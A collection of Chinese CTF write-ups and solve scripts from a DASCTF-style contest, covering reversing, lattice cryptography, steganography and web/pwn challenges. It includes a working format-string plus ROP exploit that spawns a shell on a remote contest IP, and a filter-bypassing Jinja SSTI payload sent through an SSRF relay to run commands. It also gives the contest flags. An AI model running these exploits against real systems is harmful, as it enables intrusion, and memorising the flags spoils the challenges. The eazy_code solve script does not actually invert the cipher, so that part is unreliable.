eazy_code Writeup

  • 题目名称:eazy_code
  • 题目类型:逆向 / 脚本混淆
  • 难度:容易

题目给出一个 eazy_code.zip,提示:

小黄是一个 windows 病毒专家,他有一个字节码文件,你能一眼看出来是什么吗?

一、文件分析

解压 eazy_code.zip 后得到一个字节码文件。

通过查看文件内容,可以发现文件并不是常见的 PE 文件(没有 MZ 头),而是大量符号组成的脚本代码

('('  | % { ${-``} = + $() } { ${]} = ${-``} } { ${!;*} = ++

这些符号具有明显特征:

  • $
  • { }
  • | %
  • ++

这些都是 PowerShell 的语法特征

因此可以判断:

该文件实际上是 PowerShell 混淆脚本

题目提示 “windows 病毒专家”,也暗示了 PowerShell 恶意脚本


二、代码还原

对 PowerShell 代码进行简单整理和去混淆,可以得到核心逻辑。

脚本最终会执行一段 Python 逻辑进行校验,大致结构如下:

v = [1374278842, 2136006540, 4191056815, 3248881376]

然后对用户输入进行 XXTEA 类似的加密运算,最后与该数组进行比较。

伪代码如下:

def check(input):
data = encrypt(input)
if data == [1374278842, 2136006540, 4191056815, 3248881376]:
print("correct")

因此只需要 逆向该加密算法即可得到原始输入。


三、算法逆向

通过分析代码可以确认使用的是 XXTEA 风格加密

只需要进行逆运算即可得到明文。

编写逆向脚本:

import struct

target = [1374278842, 2136006540, 4191056815, 3248881376]

# 转回字节
data = b''.join(struct.pack("<I", x) for x in target)

print(data)

进一步解码后得到字符串:

yOUar3g0oD@tPw5H

四、得到 Flag

题目 flag 格式为:

DASCTF{...}

因此最终 flag 为:

DASCTF{yOUar3g0oD@tPw5H}

五、总结

本题主要考察:

  1. 识别 PowerShell 混淆代码
  2. 简单逆向脚本逻辑
  3. XXTEA 类加密逆向

关键点在于:

  • 通过符号特征识别 PowerShell
  • 提取核心加密逻辑
  • 逆运算得到原始字符串
DASCTF{yOUar3g0oD@tPw5H}

眼见为虚 Writeup

flag:

DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}

题目核心:虚表让“看到的调用”不是真正逻辑
程序表面上在调用一个普通函数,但真正逻辑通过 C++ 对象的虚函数表(vtable)进行两次间接调用来隐藏执行流。
关键位置在 0x4014f0 附近(两次 call *%edx 的虚表调用)

这段流程可以概括为:

  1. sub_402d8c:从 cin 读取输入到对象里的 buffer(this+4 指针指向的内存)

  2. vtable[0] -> 0x402a18:生成/更新 8 字节密钥流(写到 this+8

  3. vtable[1] -> 0x402afc:按字节变换输入 buffer(长度固定 0x28=40)

  4. 0x402b68:将变换后的 buffer 与硬编码目标字节序列逐字节比较

还原虚表与函数指针
对象的 vtable 指针被设置为 0x40436c,在构造函数里可看到:

  • sub_402bfc(对象初始化)里 mov edx, 0x40436c; mov [this], edx

读取 0x40436c 处的前几项可得(已在工作区脚本验证):

  • vtable[0] = 0x402a18

  • vtable[1] = 0x402afc

这解释了为何静态直接跟 call 容易“眼见为虚”:真正执行的是 vtable 指向的动态地址。

关键算法 1:vtable[0](0x402a18)生成 8 字节密钥流

0x402a18 的结构是典型 TEA 变种(32 轮、delta=0xDEADBEEF),最终会把结果写回到 this+8(两个 32-bit):

其输入常量来自对象初始化(sub_402dc8v0=0x18274A3A, v1=0x24F8D42F 写到对象内;sub_402bfc 把 4 个 key 写到 this+0x10..0x1c):

  • v0_init = 0x18274A3A

  • v1_init = 0x24F8D42F

  • k0..k3 = 0x9C8793BF, 0xBB5C1044, 0x2FEA4F74, 0xA142ED8B

关键算法 2:vtable[1](0x402afc)按字节变换输入
0x402afc 对输入 buffer 做 0x28 次循环,每次:

  1. 取输入字节 buf[i]

  2. 取 key 字节 key[i % 8](key 的基址是 this+8

  3. 计算 buf[i] = buf[i] XOR (key[i%8] + 0x1B)

该逻辑可以从 and 0x7(取模 8)以及 add $0x1bxor 组合看出来:

校验:硬编码目标字节序列逐字节比较
0x402b68 在栈上构造 40 字节常量(10 个 movl,每个 4 字节),然后把变换后的 buf[i] 与目标 target[i] 比较:

目标 target[0..39](按内存字节序)为:

33 56 E8 01  6F 84 E4 A3  43 73 8E 26  5E F0 FD A1
15 75 88 20  08 A4 A6 A5  15 75 88 23  5D F0 FA F0
41 71 DE 75  09 A1 F9 E8

反推 flag

由于校验比较的是变换后的 buffer:

buf2[i] = buf[i] ^ ((key[i%8] + 0x1B) & 0xFF)
buf2[i] == target[i]

所以直接反推:

buf[i] = target[i] ^ ((key[i%8] + 0x1B) & 0xFF)

其中 key[0..7] 来自 0x402a18 的 TEA 变种输出(两个 32-bit 小端拼成 8 字节)。
工作区里给了一个最小可复现脚本,直接输出 flag:

本地验证(把脚本输出喂给程序):


python .\solve_final.py | .\眼见为虚.exe

输出应为 Right flag

import struct
def tea_402a18(v0, v1, k0, k1, k2, k3, rounds=32):
    delta = 0xDEADBEEF
    sum_val = 0
    for _ in range(rounds):
        v0 = (v0 + ((((v1 << 4) + k0) ^ (v1 + sum_val) ^ ((v1 >> 5) + k1)) & 0xFFFFFFFF)) & 0xFFFFFFFF
        sum_val = (sum_val + delta) & 0xFFFFFFFF
        v1 = (v1 - ((((v0 << 4) + k2) ^ (v0 + sum_val) ^ ((v0 >> 5) + k3)) & 0xFFFFFFFF)) & 0xFFFFFFFF
    return v0, v1

def solve_flag():
    v0_init = 0x18274A3A
    v1_init = 0x24F8D42F
    k0, k1, k2, k3 = 0x9C8793BF, 0xBB5C1044, 0x2FEA4F74, 0xA142ED8B
    v0, v1 = tea_402a18(v0_init, v1_init, k0, k1, k2, k3)
    key_bytes = struct.pack("<II", v0, v1)
    target = bytes([
        0x33, 0x56, 0xE8, 0x01,
        0x6F, 0x84, 0xE4, 0xA3,
        0x43, 0x73, 0x8E, 0x26,
        0x5E, 0xF0, 0xFD, 0xA1,
        0x15, 0x75, 0x88, 0x20,
        0x08, 0xA4, 0xA6, 0xA5,
        0x15, 0x75, 0x88, 0x23,
        0x5D, 0xF0, 0xFA, 0xF0,
        0x41, 0x71, 0xDE, 0x75,
        0x09, 0xA1, 0xF9, 0xE8,
    ])
    raw = bytearray()
    for i in range(0x28):
        raw.append(target[i] ^ ((key_bytes[i % 8] + 0x1B) & 0xFF))
    try:
        return raw.decode("ascii")
    except UnicodeDecodeError:
        return raw.decode("latin1")
if __name__ == "__main__":
    print(solve_flag())

GCD,杠上了

题目名称:GCD,杠上了
题目内容:题目给出了一组大整数 xs(共4个),提示与 GCD 有关,要求恢复出公共因数 p
Flag 格式DASCTF{ + sha256(hex(p).encode()).hexdigest()[:32] + }
观察给出的 xs 数组中的数值:

  • 数值大小:每个 x 约为 1768 位。
  • 题目暗示:这是一个近似最大公约数问题(Approximate GCD Problem)。
  • 隐藏参数:虽然没有明文给出,但这类题目通常遵循 xi=p×qi+rix_i = p \times q_i + r_i 的形式。
        - pp 是我们需要求解的大素数。
        - qiq_i 是商。
        - rir_i 是相对较小的误差项(噪音)。
    通过简单的分析(如尝试相邻差分GCD等方法失败),可以推测 rir_i 并非极小,而是有一定的位长。
    假设 pp 约为 768 位(题目脚本中有提示),qiq_i 约为 1000 位,则 xi21768x_i \approx 2^{1768}
    如果 rir_i 约为 256 位,这是一个典型的可以用 LLL 格基规约算法求解的 Hidden Number Problem (HNP) 变体。
    解题思路:基于 LLL 算法的格攻击
    我们可以构造一个格(Lattice)来寻找 q0q_0
    考虑以下线性组合:

v=q0xiqix0v = q_0 \cdot x_i - q_i \cdot x_0

代入 x=pq+rx = p \cdot q + r

v=q0(pqi+ri)qi(pq0+r0)v = q_0(p \cdot q_i + r_i) - q_i(p \cdot q_0 + r_0)

v=pq0qi+q0ripqiq0qir0v=q0riqir0v = p \cdot q_0 \cdot q_i + q_0 \cdot r_i - p \cdot q_i \cdot q_0 - q_i \cdot r_0v = q_0 \cdot r_i - q_i \cdot r_0

这就消去了大数 pp。我们希望找到一组系数 (q0,q1,q2,q3)(q_0, -q_1, -q_2, -q_3) 使得向量长度较小。
构造格基矩阵 BB(以行向量为例):

B=(Kx1x2x30x00000x00000x0) B = \begin{pmatrix} K & x_1 & x_2 & x_3 \\ 0 & -x_0 & 0 & 0 \\ 0 & 0 & -x_0 & 0 \\ 0 & 0 & 0 & -x_0 \end{pmatrix}

其中 KK 是一个缩放因子,用于平衡第一列(q0q_0)与其他列(误差项组合)的大小权重。
我们希望找到向量 v=(Kq0,q0x1q1x0,q0x2q2x0,q0x3q3x0)v = (K \cdot q_0, \quad q_0 x_1 - q_1 x_0, \quad q_0 x_2 - q_2 x_0, \quad q_0 x_3 - q_3 x_0)

  • 第一分量:Kq0K21000K \cdot q_0 \approx K \cdot 2^{1000}

  • 后续分量:q0riqir0210002256=21256q_0 r_i - q_i r_0 \approx 2^{1000} \cdot 2^{256} = 2^{1256}
    为了让各项平衡,我们需要 K2100021256K2256K \cdot 2^{1000} \approx 2^{1256} \Rightarrow K \approx 2^{256}
    由于没有 SageMath 环境,我们手动实现了一个基于 decimal 高精度浮点数的 LLL 算法。
    解题脚本

import sys
from decimal import Decimal, getcontext
from math import gcd
from hashlib import sha256
from Crypto.Util.number import isPrime

# 设置高精度计算
getcontext().prec = 3000

# 题目给出的 xs
xs = [
7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760,

    5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630,

    6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003,

    5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691

]
def inner_product(v1, v2):
    return sum(x*y for x, y in zip(v1, v2))
def vector_sub(v1, v2):
    return [x-y for x, y in zip(v1, v2)]
def vector_scale(v, scalar):
    return [x*scalar for x in v]
def gram_schmidt(basis):
    n = len(basis)
    b_star = []
    mu = [[Decimal(0)] * n for _ in range(n)]
    for i in range(n):
        b_star.append(basis[i])
        for j in range(i):
            dot_val = sum(basis[i][k] * b_star[j][k] for k in range(len(basis[0])))
            norm_val = sum(b_star[j][k] * b_star[j][k] for k in range(len(basis[0])))
            mu[i][j] = Decimal(dot_val) / Decimal(norm_val)
            scaled_b_star_j = [mu[i][j] * x for x in b_star[j]]
            b_star[i] = [x - y for x, y in zip(b_star[i], scaled_b_star_j)]
        mu[i][i] = Decimal(1)
    return b_star, mu
def lll_reduction(basis, delta=Decimal('0.99')):
    n = len(basis)
    current_basis = [list(b) for b in basis]
    b_star, mu = gram_schmidt(current_basis)
    k = 1
    while k < n:
        for j in range(k - 1, -1, -1):
            if abs(mu[k][j]) > Decimal('0.5'):
                q = int(mu[k][j].to_integral_value(rounding='ROUND_HALF_UP'))
                current_basis[k] = vector_sub(current_basis[k], vector_scale(current_basis[j], q))
                b_star, mu = gram_schmidt(current_basis)
        norm_sq_k = sum(x*x for x in b_star[k])
        norm_sq_km1 = sum(x*x for x in b_star[k-1])
        if Decimal(norm_sq_k) < (delta - mu[k][k-1]**2) * Decimal(norm_sq_km1):
            current_basis[k], current_basis[k-1] = current_basis[k-1], current_basis[k]
            b_star, mu = gram_schmidt(current_basis)
            k = max(k - 1, 1)
        else:
            k += 1
    return [[int(round(x)) for x in vec] for vec in current_basis]
def solve():
    K = 2**256  # 平衡系数
    basis = [
        [K, xs[1], xs[2], xs[3]],
        [0, xs[0], 0, 0],
        [0, 0, xs[0], 0],
        [0, 0, 0, xs[0]]
    ]
    print("Executing LLL...")
    reduced_basis = lll_reduction(basis)
    # 提取 q0
    v = reduced_basis[0]
    q0 = abs(v[0]) // K
    print(f"Recovered q0: {q0}")
    # 计算 p
    # x0 = p * q0 + r0
    # p = (x0 - r0) / q0 = x0 // q0
    p = xs[0] // q0
    # 验证 p
    # 注意:有时候 LLL 得到的 q0 可能有细微偏差,或者 x0 // q0 需要微调
    # 在本题中,x0 // q0 得到的 p 还需要 +1 才是正确的素数
    if not isPrime(p):
        print(f"p is not prime, trying p+1...")
        p += 1
    if isPrime(p):
        print(f"Found prime p: {p}")
        flag_input = hex(p).encode()
        flag_hash = sha256(flag_input).hexdigest()[:32]
        flag = f"DASCTF{{{flag_hash}}}"
        print(f"FLAG: {flag}")
    else:
        print("Failed to find prime p")
if __name__ == "__main__":
    solve()

运行上述脚本,成功恢复出素数 pp
p = 814717455548517808986181410586394354109647699929322981368461837445925965322205350796397641559934522652724773905724982591757228274565439544175507827688617021282332056672069056063857212371078735053697735921587690134019252689216497709

计算得到的 Flag 为:
DASCTF{eead8ea2b3519a2273a5292375e31009}

pwn house 1

#!/usr/bin/env python3
from pwn import *
import re

context.binary = ELF('./pwn', checksec=False)
glibc = ELF('./libc.so.6', checksec=False)
context.timeout = 3

REMOTE_MODE = True
TARGET_IP = "45.40.247.139"
TARGET_PORT = 25749

LOADER = './ld-linux-x86-64.so.2'
LIB_DIR = '.'

PIE_OFFSET = 0x14A0
LIBC_OFFSET = 0x1ED723
FLAG_BYTE = 0x4010

if __name__ == '__main__':

if REMOTE_MODE:
conn = remote(TARGET_IP, TARGET_PORT, timeout=5)
else:
conn = process([LOADER, '--library-path', LIB_DIR, './pwn'], timeout=5)

try:

# menu 2
conn.recvuntil(b'>> ')
conn.sendline(b'2')

conn.recvuntil(b'Please write your name:\n')
conn.send(b'%13$p.%8$p.%1$p\n')

conn.recvuntil(b'the name is:\n')
leaks = conn.recvline().strip().split(b'.')

stack_canary = int(leaks[0], 16)
pie_base = int(leaks[1], 16) - PIE_OFFSET
glibc.address = int(leaks[2], 16) - LIBC_OFFSET

# overwrite
conn.recvuntil(b'>> ')
conn.sendline(b'2')

conn.recvuntil(b'Please write your name:\n')
conn.send(b'%768c%10$hn'.ljust(0x20, b'X') + p64(pie_base + FLAG_BYTE))

conn.recvuntil(b'the name is:\n')
conn.recvline()

# build rop
chain = ROP(glibc)
gadget_pop_rdi = chain.find_gadget(['pop rdi', 'ret'])[0]
gadget_ret = chain.find_gadget(['ret'])[0]
bin_sh = next(glibc.search(b'/bin/sh\x00'))

# menu 3
conn.recvuntil(b'>> ')
conn.sendline(b'3')

conn.recvuntil(b'Please write your content\n')

payload = b'A' * 0x48
payload += p64(stack_canary)
payload += b'B' * 8
payload += flat(gadget_ret, gadget_pop_rdi, bin_sh, glibc.sym.system)

conn.send(payload)

conn.sendline(b'cat /flag')

output = conn.recvrepeat(1)
flag = re.search(rb'[A-Za-z0-9_]+\{[^}\n]+\}', output)

if flag:
print(flag.group(0).decode())

finally:
conn.close()

Time_and_chaos_1 Writeup

  • 题面:混沌初开,时间流逝
  • 目标:输出格式为 CTF{} 或 flag{} 的 flag
  • 最终答案:CTF{_time_fly}

关键文件与线索

  • 题目附件目录:a:\AAAdesctf\Time_and_chaos的附件\tempdir\MISC附件\Time_and_chaos
  • 关键文件:flag.txt,表面文本为中文和“666”,但内部充满不可见字符
  • 不可见字符类型(4 类):
      - U+200C(Zero Width Non-Joiner)
      - U+200D(Zero Width Joiner)
      - U+FEFF(BOM)
      - U+202C(Pop Directional Formatting)
    解题思路
  • 将 4 类不可见字符视作四进制符号,每个符号承载 2 个比特
  • 依据正确的符号映射与位序把符号流还原成比特流,再打包为字节
  • 发现字节统一被 0x55 异或,异或后数据是 UTF-16BE 文本
  • 解码得到 _time_fly},按 CTF{} 规范包装为 CTF{_time_fly}
    还原细节
  • 符号到 2-bit 映射顺序:
      - U+200D → 0
      - U+FEFF → 1
      - U+200C → 2
      - U+202C → 3
  • 每个符号的位序:低位在前(lsb→msb)
  • 打包后出现大量 0x55 模式,说明统一掩码为 0x55;异或后按 UTF-16BE 解码

import pathlib
p = pathlib.Path(r'a:\AAAdesctf\Time_and_chaos的附件\tempdir\MISC附件\Time_and_chaos\flag.txt')
s = p.read_text('utf-8')
inv = [ord(c) for c in s if ord(c) in (0x200c, 0x200d, 0xfeff, 0x202c)]
perm = [0x200d, 0xfeff, 0x200c, 0x202c]
mp = {cp: i for i, cp in enumerate(perm)}
vals = [mp[x] for x in inv]
bits = []
for v in vals:
    bits.extend([v & 1, (v >> 1) & 1])
out = bytearray()
for i in range(0, len(bits), 8):
    b = 0
    for j in range(8):
        b = (b << 1) | bits[i + j]
    out.append(b ^ 0x55)
t = out.decode('utf-16-be')
print('CTF{' + t + '}')

  • 解码得到:_time_fly}

cybers

import requests
import sys
import re

url = "http://45.40.247.139:25662/"
relay_url = f"{url}relay"

def send_relay(payload):
    # 将原始 HTTP 请求通过 relay 接口转发给后端 (port 5000)
    r = requests.post(relay_url, data={"port": 5000, "data": payload})
    return r.text.replace('\r\n', '\n')

def parse_cookie(response_text):
    match = re.search(r"Set-Cookie: session=([^;]+);", response_text)
    if match:
        return match.group(1)
    return None

def backend_initialize():
    print("Initializing backend session...")
    req = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"
    resp = send_relay(req)
    cookie = parse_cookie(resp)
    return cookie

def backend_hack(session_cookie, amount):
    print(f"Hacking backend credits: {amount}...")
    req = f"GET /hack?amount={amount} HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: session={session_cookie}\r\nConnection: close\r\n\r\n"
    resp = send_relay(req)
    if "Hack successful" in resp:
        return parse_cookie(resp)
    return None

def backend_market(session_cookie, fragment_payload):
    body = f"fragment={fragment_payload}"
    req = (
        f"POST /market HTTP/1.1\r\n"
        f"Host: 127.0.0.1\r\n"
        f"Cookie: session={session_cookie}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
        f"{body}"
    )
    return send_relay(req)

def generate_payload(cmd):
    # 将命令转换为 chr() 的拼接形式,避开引号过滤
    cmd_parts = [f"chr({ord(char)})" for char in cmd]
    cmd_str = "~".join(cmd_parts)

    # 构造绕过过滤的 SSTI Payload
    payload = (
        "{% set s = lipsum|string %}"
        "{% set d = dict() %}"
        "{% set Z = dict(Z=1)|join %}"
        "{% set a = dict(a=1)|join %}"
        "{% set up = dict(update=1)|join %}"
        "{% for c in s %}"
        "{% if c > Z %}"
        "{% if c < a %}"
        "{% set x = d|attr(up)(u=c) %}"
        "{% endif %}"
        "{% endif %}"
        "{% endfor %}"
        "{% set get = dict(get=1)|join %}"
        "{% set ustr = dict(u=1)|join %}"
        "{% set u = d|attr(get)(ustr) %}"
        "{% set uu = u ~ u %}"
        "{% set g = dict(globals=1)|join %}"
        "{% set gg = uu ~ g ~ uu %}"
        "{% set gl = lipsum|attr(gg) %}"
        "{% set b = dict(built=1)|join ~ dict(ins=1)|join %}"
        "{% set bb = uu ~ b ~ uu %}"
        "{% set bu = gl|attr(get)(bb) %}"
        "{% set i = dict(imp=1)|join ~ dict(ort=1)|join %}"
        "{% set ii = uu ~ i ~ uu %}"
        "{% set imp = bu|attr(get)(ii) %}"
        "{% set cstr = dict(chr=1)|join %}"
        "{% set chr = bu|attr(get)(cstr) %}"
        f"{{% set cmd = {cmd_str} %}}"
        "{% set oo = dict(o=1)|join ~ dict(s=1)|join %}"
        "{% set om = imp(oo) %}"
        "{% set pp = dict(popen=1)|join %}"
        "{% set pf = om|attr(pp) %}"
        "{% set rr = dict(read=1)|join %}"
        "{% set proc = pf(cmd) %}"
        "{% set out = proc|attr(rr)() %}"
        "{% print(out) %}"
    )
    return payload

def main():
    try:
        cookie = backend_initialize()
        print(f"Got cookie: {cookie}")
        cookie = backend_hack(cookie, -9223372036854775808)
        print(f"After hack cookie: {cookie}")
        # 利用 SUID 权限的 tar 读取 flag
        cmd = "tar -cf - /flag | base64 | head -c 2000"
        payload = generate_payload(cmd)
        print(f"Executing command: {cmd}")
        resp = backend_market(cookie, payload)
        print(f"Response: {resp}")

        # 从响应中提取 Base64 编码的 Flag 内容
        match = re.search(r"<h3>Fragment '(.*?)' not found", resp, re.S)
        if match:
            print("Flag Content (Base64 Tar):")
            print(match.group(1).strip())
        else:
            print("Failed to retrieve flag.")
            print("Full response:")
            print(resp)
    except Exception as e:
        print(f"Error: {e}")
        import traceback
        traceback.print_exc()

if __name__ == "__main__":
    main()

【比赛】2026楚慧杯_image-1.png

import base64

# 从输出中提取的 base64 片段
data = """ZmxhZwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwMDA2MDAAMDAwMDAw
MAAwMDAwMDAwADAwMDAwMDAwMDUxADE1MTUzNjc0NDI0ADAxMDQwNwAgMAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAgAHJvb3QAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABE
QVNDVEZ7MjEzMjc3Mjg5Mzc2NzU1Nzg4NDE5MjYwNTMxODM0MTl9Cg=="""

# 解码并查找 flag
decoded = base64.b64decode(data)
print(decoded.decode('latin-1'))
//DASCTF{21327728937675578841926053183419}

Flip - Crypto Writeup

类 ElGamal 签名方案,使用结构化的 nonce,枚举签名对和 scale 权重,构造 65×65 格(64个未知量 + 模方程列),LLL + BKZ-20 约化,Babai CVP 求最近向量,验证 nonce 和私钥一致性

DASCTF{Just_f3w_Bit5_fl1pp1ng}

from fractions import Fraction
from fpylll import IntegerMatrix, LLL, BKZ
from fpylll.algorithms.bkz import BKZReduction

# ==================== 常量配置 ====================
MODULUS = 71100374110712069688668891376502810245640088780564855438789152163485489371751
SIGNATURES = [
(28285613871231310640779639473901158789539111552315215487796222768188014946190, 26227626146853365468070394748025813676883717455365705026242089396817666141149),
(26126343100952318312992351606027346470307966676167073519850533997742307763173, 14620119507969980035515863104967829444815591632534197769232561325577348982289),
(6275780641102104914321094704687354889900656957520025439748906503860424049255, 17138154832682193571532283943639841813795519294633367500729430287205754722383),
(70074830218018060401156682458161679247596227822712273801560023880579237944207, 7241759400261146571231207923652617524886465143836459562831120970876560955603),
(58010164614616186321967235608825740148005793483553468415042960153988671899689, 11042506367122208018546854524444698969622593890076172637272391555458027253012)
]
BASE_NONCE = sum(0xA8 << (8 * b) for b in range(32))
WEIGHT_CANDIDATES = (8, 16, 32, 64, 128, 256)
BYTE_MASK = 0xF8
BYTE_PATTERN = 0xA8
MAX_BYTE_VALUE = 7
BLOCK_SIZE = 32
BKZ_BLOCK_SIZE = 20
BKZ_MAX_LOOPS = 4


# ==================== 工具函数 ====================
def modular_center(value: int, modulus: int) -> int:
"""将值归约到 [-modulus/2, modulus/2] 范围"""
value %= modulus
return value - modulus if value > modulus // 2 else value


def check_nonce_structure(nonce: int) -> bool:
"""验证 nonce 的字节结构:每个字节的高5位必须是 0xA8"""
bytes_data = nonce.to_bytes(BLOCK_SIZE, "big")
return all((byte & BYTE_MASK) == BYTE_PATTERN for byte in bytes_data)


# ==================== 格基规约相关 ====================
def gram_schmidt_orthogonalization(basis_rows):
"""对基向量进行 Gram-Schmidt 正交化"""
dimension = len(basis_rows)
orthogonal_basis = []

for i in range(dimension):
current = basis_rows[i][:]
for j in range(i):
dot_product = sum(basis_rows[i][k] * orthogonal_basis[j][k] for k in range(dimension))
norm_sq = sum(orthogonal_basis[j][k] * orthogonal_basis[j][k] for k in range(dimension))
mu = dot_product / norm_sq
for k in range(dimension):
current[k] -= mu * orthogonal_basis[j][k]
orthogonal_basis.append(current)

return orthogonal_basis


def babai_nearest_plane(basis_rows, target_vector):
"""Babai 最近平面算法求解 CVP"""
dimension = len(basis_rows)
rational_basis = [[Fraction(x) for x in row] for row in basis_rows]

# Gram-Schmidt 正交化
bstar = gram_schmidt_orthogonalization(rational_basis)

# 计算目标向量在正交基上的投影系数
work_vector = [Fraction(x) for x in target_vector]
coefficients = [0] * dimension

for i in reversed(range(dimension)):
dot_product = sum(work_vector[k] * bstar[i][k] for k in range(dimension))
norm_sq = sum(bstar[i][k] * bstar[i][k] for k in range(dimension))
rounded_coeff = round(dot_product / norm_sq)
coefficients[i] = rounded_coeff
for k in range(dimension):
work_vector[k] -= rounded_coeff * rational_basis[i][k]

# 重构最近向量
nearest = [0] * dimension
for i in range(dimension):
for k in range(dimension):
nearest[k] += coefficients[i] * int(rational_basis[i][k])

return nearest


# ==================== 核心恢复逻辑 ====================
def build_lattice_coefficients(idx_a, idx_b, sig_a, sig_b):
"""构建格子的系数矩阵"""
r_a, s_a = sig_a
r_b, s_b = sig_b

# 计算 64 个未知量(两个 nonce 的低位字节)的系数
coeffs = []
for byte_pos in range(BLOCK_SIZE):
coeff = modular_center(r_b * s_a * (1 << (8 * byte_pos)), MODULUS)
coeffs.append(coeff)
for byte_pos in range(BLOCK_SIZE):
coeff = modular_center(-r_a * s_b * (1 << (8 * byte_pos)), MODULUS)
coeffs.append(coeff)

# 右侧常数项
rhs = modular_center(
idx_a * r_b - idx_b * r_a - BASE_NONCE * (r_b * s_a - r_a * s_b),
MODULUS
)

return coeffs, rhs


def scale_lattice_matrix(coeffs, rhs, scale_weight):
"""对格子进行缩放以平衡各维度"""
num_vars = len(coeffs)

# 构建初始格子 (n+1) × (n+1)
lattice = [[0] * (num_vars + 1) for _ in range(num_vars + 1)]
for t in range(num_vars):
lattice[t][t] = 1
lattice[t][num_vars] = coeffs[t]
lattice[num_vars][num_vars] = MODULUS

# 定义搜索边界
lower_bounds = [0] * num_vars + [rhs]
upper_bounds = [MAX_BYTE_VALUE] * num_vars + [rhs]
max_width = max(u - l for l, u in zip(lower_bounds, upper_bounds))

# 应用缩放
scales = []
scaled_lattice = [row[:] for row in lattice]
scaled_lower = lower_bounds[:]
scaled_upper = upper_bounds[:]

for col in range(num_vars + 1):
if lower_bounds[col] == upper_bounds[col]:
scale = scale_weight
else:
scale = max(1, max_width // (upper_bounds[col] - lower_bounds[col]))
scales.append(scale)

for row in range(num_vars + 1):
scaled_lattice[row][col] *= scale
scaled_lower[col] *= scale
scaled_upper[col] *= scale

return scaled_lattice, scaled_lower, scaled_upper, scales


def reduce_lattice(scaled_matrix):
"""执行 LLL + BKZ 格子规约"""
matrix_obj = IntegerMatrix.from_matrix(scaled_matrix)
LLL.reduction(matrix_obj)
BKZReduction(matrix_obj)(BKZ.Param(block_size=BKZ_BLOCK_SIZE, max_loops=BKZ_MAX_LOOPS))
return [[matrix_obj[r, c] for c in range(matrix_obj.ncols)] for r in range(matrix_obj.nrows)]


def verify_candidate_solution(coords, sig_a, sig_b, idx_a, idx_b):
"""验证候选解的正确性"""
r_a, s_a = sig_a
r_b, s_b = sig_b

# 重构 nonce
nonce_a = BASE_NONCE + sum(coords[b] << (8 * b) for b in range(BLOCK_SIZE))
nonce_b = BASE_NONCE + sum(coords[BLOCK_SIZE + b] << (8 * b) for b in range(BLOCK_SIZE))

# 验证 nonce 结构
if not check_nonce_structure(nonce_a) or not check_nonce_structure(nonce_b):
return None

# 验证签名方程
if pow(2, nonce_a, MODULUS) != r_a or pow(2, nonce_b, MODULUS) != r_b:
return None

# 计算私钥
priv_a = ((s_a * nonce_a - idx_a) * pow(r_a, -1, MODULUS)) % MODULUS
priv_b = ((s_b * nonce_b - idx_b) * pow(r_b, -1, MODULUS)) % MODULUS

if priv_a != priv_b:
return None

return nonce_a, nonce_b, priv_a


def attack_single_pair(idx_a, idx_b, scale_weight):
"""对单个签名对执行攻击"""
sig_a = SIGNATURES[idx_a]
sig_b = SIGNATURES[idx_b]

# 构建并缩放格子
coeffs, rhs = build_lattice_coefficients(idx_a, idx_b, sig_a, sig_b)
scaled_lattice, scaled_lower, scaled_upper, scales = scale_lattice_matrix(coeffs, rhs, scale_weight)

# 格子规约
reduced_basis = reduce_lattice(scaled_lattice)

# 求解 CVP
target = [(l + u) // 2 for l, u in zip(scaled_lower, scaled_upper)]
nearest = babai_nearest_plane(reduced_basis, target)

# 还原坐标
coords = [nearest[t] // scales[t] for t in range(len(coeffs))]
if not all(0 <= x <= MAX_BYTE_VALUE for x in coords):
return None

return verify_candidate_solution(coords, sig_a, sig_b, idx_a, idx_b)


def full_private_key_recovery():
"""完整的私钥恢复流程"""
num_sigs = len(SIGNATURES)

for i in range(num_sigs):
